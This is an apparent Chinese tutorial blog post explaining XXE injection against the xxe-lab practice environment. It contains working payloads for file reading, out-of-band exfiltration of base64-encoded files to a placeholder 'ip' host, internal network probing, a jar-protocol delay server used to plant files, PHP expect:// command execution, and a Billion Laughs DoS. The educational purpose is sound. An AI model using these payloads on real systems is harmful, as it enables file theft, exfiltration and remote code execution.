XXE漏洞原理及常见利用方式(以xxe-lab为示例)

之前学过但老忘记 还是写一篇理理思路 省的忘

XML基础知识

基本格式

为了防止把事情搞复杂,先从一个常见的文件读取xxe payload示例开始
在这里插入图片描述

第一行是 XML 声明。它定义 XML 的版本(1.0)
接下来的部分是DTD
!DOCTYPE 用来声明文档类型,!ELEMENT定义一个元素(XML 标签名)这里类型为ANY
!ENTITY声明一个实体(XML 标签中的内容)
内部实体声明:<!ENTITY entity-name "entity-value">
外部实体声明:<!ENTITY entity-name SYSTEM "URI/URL">
第六行则是xml树结构了 上面的DTD 用来定义一个 XML 文档的合法元素
下图是一个菜鸟教程给出的xml示例 https://www.runoob.com/try/xml/note.xml
在这里插入图片描述

CDATA

CDATA字符数据(character data),是不会被解析器解析的文本。在这些文本中的标签不会被当作标记来对待,其中的实体也不会被展开。
在这里插入图片描述

XML实体类型

这里只介绍XXE中会用到的类型,上面提到了内部和外部实体是从定义的方式区别的,从作用域来分别的话又可分为通用实体和参数实体

通用实体

用 &实体名; 引用的实体,他在DTD 中定义,在 XML 文档中引用
在这里插入图片描述

参数实体

定义和使用均在 DTD 中,但只有在 DTD 文件中,参数实体的定义才能引用其他实体
在这里插入图片描述

内置实体

有五个常用内置实体,通常应用在嵌套定义的时候,DTD中支持单双引号,所以可以通过单双引号间隔使用作为区分嵌套实体和实体之间的关系;在实际使用中,我们通常需要再嵌套一个参数实体,%号是需要处理成 &#37

•	&符号:&amp;
•	单引号:&apos;
•	大于号:&gt;
•	小于号:&lt;
•	双引号:&quot;

XXE漏洞

XXE(XML External Entity Injection) XML外部实体注入
XML注入是通过闭合标签插入恶意的XML元素进行注册管理员用户等逻辑漏洞攻击
在这里插入图片描述

而XXE是将XML元素注入变成外部实体注入,上面的基础知识部分已经提到了在DTD中声明外部实体,在xml中实体的作用相当于是一个已经定义的变量,可以在标签内使用,通过 & 符号进行引用
这里的效果是在win7虚拟机的ie中打开的,现在的浏览器安全策略已经不允许这种简单粗暴的方式了
在这里插入图片描述

下图是在火狐中打开的情况
在这里插入图片描述

这里通过注入引入外部实体,以类似变量引用方式将本地文件读取

XXE常见利用方式(以xxe-lab演示)

文件读取

PHP

在登陆框提交抓包进行测试
在这里插入图片描述在这里插入图片描述

这是一个有回显的XXE,这里读的文件是比较理想的,没有会被xml解析的字符,如果像下图中文件的内容一样就会引起xml解析报错(如Linux的/etc/fstab文件其中包含一些看起来像 XML 的字符),XML 解析器会尝试解析这些元素,但其不是一个有效的 XML 文档
在这里插入图片描述

将读取文件内容的实体通过拼接放入<![CDATA[ ]]>标签当中,使得文件内容不会被解析器解析。
XML 规范不允许将外部实体与内部实体结合使用
在这里插入图片描述

需要在DTD中分别使用%start和%end参数实体将文件内容包装在CDATA标记中完成拼接后,存储在另一个名为all的通用实体中,最后再在 xml 中调用。
在这里插入图片描述

evil.dtd

<?xml version="1.0" encoding="UTF-8"?> 
<!ENTITY all "%start;%file;%end;">

Payload

<?xml version="1.0" encoding="utf-8"?> 
<!DOCTYPE test [
<!ENTITY % start "<![CDATA[">   
<!ENTITY % file SYSTEM "file:///d:/1.txt">  
<!ENTITY % end "]]]>">  
<!ENTITY % dtd SYSTEM "http://ip/evil.dtd"> 
%dtd; ]> 

<user><username>&all;</username><password>s</password></user>

在php中也可以使用伪协议编码后读取
在这里插入图片描述

通常web应用并不会开启结果回显,这时就要使用http外带
在这里插入图片描述

Evil.dtd

<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=d:/1.txt">
<!ENTITY % int "<!ENTITY &#37; send SYSTEM 'http://ip:7999?p=%file;'>">

Payload

<!DOCTYPE convert [ 
<!ENTITY % remote SYSTEM "file:///d:/evil.dtd">
%remote;%int;%send;
]>
Python

在python中能否行得通取决于解析用的python库选择
Minidom、etree默认情况下不易受到 XXE 的攻击。pulldom与sax则较容易被攻击
使用Minidom解析的情况如下图,代码由xxe-lab中提取主要逻辑获得
在这里插入图片描述

换成pulldom解析,可以读取文件(python2.7中可行,但在python3.10中无法成功)
在这里插入图片描述在这里插入图片描述

在pulldom中使用php那的外带payload,可以收到请求但无法把内容带出来,而且遇到内容复杂点的文件会报错
使用lxml模块、xml.sax模块的问题参考:https://rules.sonarsource.com/python/RSPEC-2755

内网探测

通过加载外部实体的响应时间的长短判断该ip、端口是否存活、开放(响应快的就是开放的),php的话也可以通过伪协议看是否返回内容
在这里插入图片描述

文件上传

下图是各语言平台上所支持的协议列表
在这里插入图片描述

Java支持jar协议能从远程获取 jar 文件,然后将其中的内容进行解压

jar:{url}!{path}

path是jar包中要解压的文件路径,jar包其实就是个zip压缩包

jar 协议处理文件的过程:

  1. 下载 jar/zip 文件到临时文件中
  2. 提取出我们指定的文件
  3. 删除临时文件

通过延长服务器传递文件的时间使临时文件能存活到完成利用,也就相当于完成了文件上传
server.py传输最后一个字符时延迟30秒,为了文件完整性,需要在文件后面添加垃圾字符

import sys 
import time 
import threading 
import socketserver 
from urllib.parse import quote 
import http.client as httpc 

listen_host = 'localhost' 
listen_port = 9999 
jar_file = sys.argv[1]

class JarRequestHandler(socketserver.BaseRequestHandler):  
    def handle(self):
        http_req = b''
        print('New connection:',self.client_address)
        while b'\r\n\r\n' not in http_req:
            try:
                http_req += self.request.recv(4096)
                print('Client req:\r\n',http_req.decode())
                jf = open(jar_file, 'rb')
                contents = jf.read()
                headers = ('''HTTP/1.0 200 OK\r\n'''
                '''Content-Type: application/java-archive\r\n\r\n''')
                self.request.sendall(headers.encode('ascii'))

                self.request.sendall(contents[:-1])
                time.sleep(30)
                print(30)
                self.request.sendall(contents[-1:])

            except Exception as e:
                print ("get error at:"+str(e))


if __name__ == '__main__':

    jarserver = socketserver.TCPServer((listen_host,listen_port), JarRequestHandler) 
    print ('waiting for connection...') 
    server_thread = threading.Thread(target=jarserver.serve_forever) 
    server_thread.daemon = True 
    server_thread.start() 
    server_thread.join()

再使用file或者netdoc 协议列目录获得临时文件名,一般就是利用文件包含去触发反序列化

PHP expect RCE

安装expect 扩展可直接利用 XXE 进行 RCE

<!DOCTYPE root[<!ENTITY cmd SYSTEM "expect://id">]>
<dir>
<file>&cmd;</file>
</dir>

DOS Billion Laughs 攻击

<?xml version="1.0"?>
     <!DOCTYPE lolz [
     <!ENTITY lol "lol">
     <!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
     <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
     <!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
     <!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
     <!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
     <!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
     <!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
     <!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
     ]>
     <lolz>&lol9;</lolz>

参考

https://www.cnblogs.com/backlion/p/9302528.html
https://docs.python.org/zh-cn/3/library/xml.dom.pulldom.html
https://www.acunetix.com/blog/articles/xml-external-entity-xxe-vulnerabilities/
https://www.acunetix.com/blog/web-security-zone/how-to-mitigate-xxe-vulnerabilities-in-python/
https://www.runoob.com/dtd/dtd-tutorial.html
https://www.runoob.com/xml/xml-tutorial.html

猜你喜欢

转载自blog.csdn.net/weixin_43610673/article/details/123427161
xxe